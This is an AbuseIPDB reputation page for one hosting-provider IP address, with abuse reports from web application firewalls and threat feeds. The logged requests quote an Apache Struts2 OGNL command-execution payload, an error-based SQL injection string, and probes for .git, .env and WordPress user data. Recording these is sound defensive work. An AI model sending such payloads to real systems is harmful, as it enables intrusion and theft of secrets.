JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 65.111.8.163

65.111.8.163 was found in our database!

This IP was reported 41 times. Confidence of Abuse is 32%: ?

32%

ISP	3xK Tech GmbH
Usage Type	Data Center/Web Hosting/Transit
ASN	AS200373
Domain Name	3xktech.cloud
Country	🇺🇸 United States of America
City	Ashburn, Virginia

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 65.111.8.163

Whois 65.111.8.163

IP Abuse Reports for 65.111.8.163:

This IP address has been reported a total of 41 times from 23 distinct sources. 65.111.8.163 was first reported on July 18th 2024, and the most recent report was 2 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 lostswordfish.com	2026-06-26 06:34:04 (2 days ago)	Wordfence waf block on restore georgia	Web App Attack
🇫🇷 Sklurk	2026-06-23 03:46:11 (5 days ago)	Web App Attack	Web App Attack
🇫🇷 ELYAZ	2026-06-21 10:43:32 (1 week ago)	(y4) Failed scan -byebye- from 65.111.8.163 (US/United States/-): (CF_ENABLE)	Hacking
🇫🇷 tilellit.pro	2026-06-19 11:19:15 (1 week ago)	Fail2Ban banned 65.111.8.163 for security violations in jail wp-armour. Log: 2026/06/19 11:19:15 [er ... show more Fail2Ban banned 65.111.8.163 for security violations in jail wp-armour. Log: 2026/06/19 11:19:15 [error] FastCGI sent in stderr: "PHP message: [WP_ARMOUR_BAN] IP: 65.111.8.163 \| Target: wplogin" , client: 65.111.8.163, server: [REDACTED], request: "POST /wp-login.php HTTP/1.1", upstream: [REDACTED], host: [REDACTED], referrer: "https://comerciogallego.es/wp-login.php" ... show less	Web Spam
🇺🇸 lostswordfish.com	2026-06-19 07:10:05 (1 week ago)	Wordfence waf block on restore georgia	Web App Attack
🇳🇱 homeshowdomain.nl	2026-05-18 22:01:38 (1 month ago)	Auto-ban: >3000 req/min op 2026-05-18	Web App Attack SSH Hacking
🇨🇳 ThreatBook.io	2026-05-06 22:22:19 (1 month ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.8.163 2026-05-0 ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.8.163 2026-05-06 03:27:02 /down/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-03-22 22:16:12 (3 months ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.8.163 2026-03-2 ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.8.163 2026-03-22 12:52:14 /nacos/%23/serviceSync 2026-03-22 11:57:28 /v1/core/cluster/nodes?withInstances=false&pageNo=1&pageS%20ize=10&keyword 2026-03-22 12:44:48 /news/index.php?c=search&catid=23%20and%20(select%201%20from%20(select%20count(),concat(md5(1),floor(rand(0)2))x%20from%20information_schema.tables%20group%20by%20x)a) show less	Web App Attack
🇨🇳 ThreatBook.io	2026-02-15 22:12:55 (4 months ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.8.163 2026-02-1 ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/65.111.8.163 2026-02-15 22:41:14 /?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse%28%29,%23res.setCharacterEncoding%28%23parameters.encoding[0]%29,%23w%3d%23res.getWriter%28%29,%23s%3dnew+java.util.Scanner%[email protected]@getRuntime%28%29.exec%28%23parameters.cmd[0]%29.getInputStream%28%29%29.useDelimiter%28%23parameters.pp[0]%29,%23str%3d%23s.hasNext%28%29%3f%23s.next%28%29%3a%23parameters.ppp[0],%23w.print%28%23str%29,%23w.close%28%29,1?%23xx:%23request.toString&cmd=netstat%20-an&pp=\A&ppp=%20&encoding=UTF-8 2026-02-15 22:41:14 / show less	Web App Attack
Anonymous	2026-02-15 14:27:57 (4 months ago)	attempts to hack passwords	Brute-Force Web App Attack
🇱🇻 garmtech.com	2026-02-14 06:32:11 (4 months ago)	IM360 WAF: Attempt to upload malware	Hacking
🇺🇸 TPI-Abuse	2026-02-09 20:11:25 (4 months ago)	(mod_security) mod_security (id:210492) triggered by 65.111.8.163 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 65.111.8.163 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Feb 09 15:11:15.768879 2026] [security2:error] [pid 15506:tid 15506] [client 65.111.8.163:31933] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "galeriedorion.com"] [uri "/app/.git/config"] [unique_id "aYo_Y4v4CrX4ZC8mrOjW8QAAABU"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-02-09 05:20:31 (4 months ago)	(mod_security) mod_security (id:210492) triggered by 65.111.8.163 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:210492) triggered by 65.111.8.163 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Feb 09 00:20:25.968293 2026] [security2:error] [pid 32554:tid 32554] [client 65.111.8.163:15429] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "fundingangelinvestors.com"] [uri "/admin/.env"] [unique_id "aYlumQKpwERZ2wqWeU6mvAAAAAY"] show less	Brute-Force Bad Web Bot Web App Attack
🇺🇸 TPI-Abuse	2026-02-01 03:01:20 (4 months ago)	(mod_security) mod_security (id:225170) triggered by 65.111.8.163 (-): 1 in the last 300 secs; Ports ... show more (mod_security) mod_security (id:225170) triggered by 65.111.8.163 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Jan 31 22:01:16.330891 2026] [security2:error] [pid 4176852:tid 4176852] [client 65.111.8.163:50401] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)\|\|jolankagroup.com\|F\|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "jolankagroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aX7B_HhxYWwCsfhT1jHyVAAAAAw"] show less	Brute-Force Bad Web Bot Web App Attack
🇩🇪 Packets-Decreaser.NET	2025-12-29 14:01:49 (5 months ago)	Incoming Layer 7 Flood Detected	DDoS Attack Web Spam

Showing 1 to 15 of 41 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇷 185.226.92.110

🇳🇱 176.65.148.176

🇮🇷 151.238.140.235

🇭🇰 2.59.152.65

🇩🇪 212.132.105.176

🇺🇦 194.61.52.156

🇳🇱 188.166.99.91

🇲🇽 149.232.133.152

🇺🇸 72.10.32.138

🇺🇸 47.251.114.93

🇺🇸 35.134.178.250

🇻🇳 27.79.44.87

🇮🇱 5.100.252.208

🇬🇧 193.163.125.249

🇲🇽 189.147.19.238

🇵🇰 103.120.116.162

🇰🇷 59.15.58.148

🇺🇸 52.146.92.163

🇹🇭 45.194.70.251

🇳🇿 45.133.7.54